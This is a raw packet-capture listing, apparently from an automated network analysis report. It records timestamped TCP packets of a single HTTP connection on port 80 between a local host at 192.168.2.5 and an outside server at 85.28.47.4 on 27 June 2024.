Jun 27, 2024 07:37:09.843075991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843121052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843189955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843198061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843205929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843225002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843233109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843270063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843347073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843390942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843434095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843451977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843472004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843480110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843507051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843518019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843518972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843537092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843561888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843563080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843578100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843581915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843600988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843602896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843619108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843626976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843636990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.843653917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.843677044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844119072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844136953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844155073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844167948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844177008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844196081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844204903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844214916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844233036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844243050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844252110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844263077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844269037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844299078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844331980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844530106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844548941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844568014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844574928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844587088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844597101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844614983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844619989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844635963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844640017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844655037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844661951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844674110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844682932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844692945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844703913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844711065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844724894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844729900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844747066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844748020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844764948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844774008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844784975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844798088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844804049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.844832897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.844863892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.845446110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.845464945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.845483065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.845501900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.845501900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.845530987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.845561028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.915564060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915595055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915627003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915644884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915664911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915683031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915709972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.915730953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.915802956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915822983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.915849924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.915885925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.919722080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.919786930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.919805050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.919903994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.919934988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.919954062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.919981956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.919989109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920002937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920030117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920064926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920191050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920238018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920294046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920310020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920339108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920340061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920360088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920361042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920377016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920386076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920396090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920408010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920414925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920428991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920449018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920469999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.920682907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.920736074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.924665928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924694061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924710989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924724102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.924746990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.924854994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924875975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924895048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924901962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.924916029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.924942970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.924977064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925141096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925203085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925220013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925240040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925240993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925257921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925268888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925273895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925290108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925303936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925327063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925451994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925498009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925539017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925559044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925586939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925606966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925692081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925712109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925730944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925740957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925750017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925762892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925767899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925786018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925817966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925915956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925935984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.925961971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.925992012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.926065922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.926084995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.926103115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.926111937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.926120996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.926131964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.926139116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.926151991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.926173925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.926192045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.928814888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.928844929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.928864002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.928872108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.928894043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.928911924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929006100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929023981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929043055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929060936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929064989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929085016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929104090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929156065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929208040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929244041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929260015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929277897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929287910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929296970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929311037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929315090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929332018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929333925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929354906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929387093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929533958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929560900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929588079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929604053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929651022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929668903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929687977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929696083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929714918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929716110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929735899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929761887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929866076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929886103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929903984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929918051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929924011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929939032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929940939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.929960966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.929984093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930150986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930170059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930188894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930202007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930207968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930236101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930236101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930277109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930303097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930448055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930466890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930495024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930499077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930514097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930521011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930532932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930541039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930551052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930562973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930584908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930603981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930795908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930814981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930843115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930849075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930861950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930869102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930881977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930890083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930900097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930913925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930918932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930934906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930938005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930953979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.930957079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.930975914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931009054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931310892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931329012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931358099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931370974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931375027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931380987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931394100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931404114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931411982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931426048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931431055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931447029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931449890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931468964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931469917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931489944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931503057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931509972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.931536913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.931600094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932012081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932033062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932053089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932061911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932073116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932092905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932100058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932126045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932137012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932146072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932164907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932169914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932184935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932203054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932204962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932224989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:09.932235003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:09.932272911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.003175974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003201008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003233910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003240108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.003254890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003266096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.003273010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003289938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003290892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.003308058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003319979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.003357887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.003446102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.003498077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.006647110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.006711960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.006735086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.006768942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.006779909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.006789923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.006814957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.006834030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.006943941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.006988049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007049084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007070065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007091045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007096052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007112980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007113934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007134914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007138968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007163048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007183075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007368088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007390022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.007416964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.007422924 CEST	80	49705	85.28.47.4	192.168.2.5
